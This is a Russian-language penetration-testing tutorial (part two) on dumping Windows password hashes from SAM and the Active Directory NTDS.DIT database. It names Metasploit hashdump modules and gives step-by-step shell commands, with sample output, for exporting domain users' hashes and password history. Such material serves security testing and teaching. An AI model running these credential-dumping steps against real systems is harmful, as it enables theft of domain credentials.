Получение хеша паролей в ОС Windows. Часть 2

Автор: Bernardo Damele A. G

Итоги по SAM

В предыдущей части, говорилось о Менеджере безопасности учетных записей  Windows (SAM), и как достать из SAM захешированные пароли локальных учетных записей.

Cуществует три метода получения хешей:

  • через теневое копирование томов
  • через унаследованные возможности Windows
  • внедрение в память процесса.

Советую ознакомится с электронной таблицей в которой описаны наиболее популярные утилиты для получения хешей из памяти процесса.

Если есть возможность копировать файлы между вашим компьютером и целевой станцией, то сначала копируйте файлы SYSTEM и SAM с целевого компьютера, а уже после получайте хеши паролей в оффлайне.

Правда, обычное копирование файлов не гарантирует, получение хешей всех локальных пользователей. Если через файлы не удалось достать хеши всех учеток, то придется получать их из памяти.

Рекомендуемые инструменты

Pwdump7 -  работает на 32-x и 64-х битных Windows, начиная с Windows 2000. Правда, pwdump7 не умеет получать хешированные пароли из памяти. Поэтому используйте pwdump7 совместно с gsecdump.

Если на целевом компьютере не удалось воспользоваться Metasploit Meterpreter,  попробуйте  пост-эксплойт smart_hashdump:

  •  github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/smart_hashdump.rb

Если и smart_hashdump не заработает, то пробуйте к его предыдущую версию – hashdump:

  • github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/hashdump.rb

Active Directory

Active Directory - централизованное хранилище для управления доменной сетью и ее безопасностью. В ее функции входит авторизация и аутентификация пользователей внутри домена Windows, выполнение и создание политик безопасности […] При входе пользователя в ОС на станции, состоящей в домене, именно Active Directory сверяет пароли […]

Если необходимо контролировать весь домен, то необходим доступ к корневому доменному контроллеру.

Есть много информации о том, как повысить права в домене, например в блоге pentestmonkey.net есть вся нужная информация о повышении прав.

Есть вероятность, что администратором используется один и тот же пароль локального администратора на всех компьютерах домена. В этом случае, достаточно узнать с помощью keimpx пароль только на одном компьютере, и контроллер домена в ваших руках!

На данном этапе наша цель это запуск консоли с правами администратора на контроллере домена.

Файл базы данных NTDS.DIT

Теперь цель: хешированные пароли пользователей домена. Пароли, как и почти вся информация Active Directory,  находится в файле %SystemRoot%\ntds\NTDS.DIT. Файл NTDS.DIT заблокирован системой. Для получения файлов NTDS.DIT и  SYSTEM используйте службу теневого копирования, как описывалось ранее.

Также, можно воспользоваться функцией создания снимка с помощью утилиты ntdsutil:

  • technet.microsoft.com/en-us/library/cc753343(v=ws.10).aspx

впервые такая функция появилась в Windows Server 2008. Ntdsutil сделает снимок базы данных Active Directory, благодаря чему  вы сможете получить файлы ntds.dit и SYSTEM.  Как сделать снимок читайте в статье Microsoft TechNet:

  • technet.microsoft.com/en-us/library/cc753609%28WS.10%29.aspx

Получение хешей из NTDS.DIT

Для получения хешей из ntds.dit воспользуйтесь Windows Password Recovery Tool или ntds_dump_hash.zip:

  • passcape.com/windows_password_recovery
  • ntdsxtract.com/downloads/ntds_dump_hash.zip

ntds_dump_hash.zip позволит:

  • извлечь нужные таблицы из ntds.dit: esedbdumphash
  • получить хеши и сведения об учетных записях: dsdump.py, dsuserinfo.py, dsdumphistory.py.

Скачайте и скомпилируйте ntds_dump_hash.zip:

$ wget http://www.ntdsxtract.com/downloads/ntds_dump_hash.zip
$ unzip ntds_dump_hash.zip
$ cd libesedb
$ ./configure && make

Воспользуйтесь esedbdumphash, для извлечения таблицы datatable из ntds.dit:

$ cd esedbtools
$ ./esedbdumphash -v -t /tmp/output
$ ls -1 /tmp/output.export/
datatable

С помощью dsdump.py получите хеши из таблицы datatable, через bootkey (SYSKEY) из куста SYSTEM:

$ cd ../../creddump/
$ chmod +x *.py
$ ./dsuserinfo.py /tmp/output.export/datatable
$ ./dsdump.py /tmp/output.export/datatable --include-locked
--include-disabled > domain_hashes.txt

Фреймворк ntdsxtract.com вместе с утилитой libesedb также умеют (корректно работают в 64-bit ОС  позволяет извлекать информацию из базы данных ntds.dit.

Установите последнюю версию libesedb.

Извлеките таблицы из ntds.dit:

$ esedbexport -l /tmp/esedbexport.log -t /tmp/ntds.dit
esedbexport 20111210
Opening file.
Exporting table 1 (MSysObjects) out of 12.
Exporting table 2 (MSysObjectsShadow) out of 12.
Exporting table 3 (MSysUnicodeFixupVer2) out of 12.
Exporting table 4 (datatable) out of 12.
Exporting table 5 (hiddentable) out of 12.
Exporting table 6 (link_table) out of 12.
Exporting table 7 (sdpropcounttable) out of 12.
Exporting table 8 (sdproptable) out of 12.
Exporting table 9 (sd_table) out of 12.
Exporting table 10 (MSysDefrag2) out of 12.
Exporting table 11 (quota_table) out of 12.
Exporting table 12 (quota_rebuild_progress_table) out of 12.
Export completed.

$ ls -1 /tmp/ntds.dit.export/
datatable.3
hiddentable.4
link_table.5
[...]

С помощью фреймворка NTDSXtract извлеките из таблицы datatable захешированные пароли и историю паролей:

~/NTDSXtract 1.0$ python dsusers.py /tmp/ntds.dit.export/datatable.3
/tmp/ntds.dit.export/link_table.5 --passwordhashes --
passwordhistory --certificates --supplcreds file> --membership > /tmp/ntds.dit.output

Используйте этот скрипт:

  • raw.github.com/inquisb/miscellaneous/master/ntdstopwdump.py

для преобразования результатов работы dsusers.py в более привычный вид:

$ python ntdstopwdump.py /tmp/ntds.dit.output
Administrator:500:NO
PASSWORD*********************:09b1708f0ea4832b6d87b0ce07d7764b:::
Guest:501:NO PASSWORD*********************:NO
PASSWORD*********************:::
[...]

Оригинал: securitylab.ru/analytics/425179.php

Понравилось? =) Поделись с друзьями:

Обсудить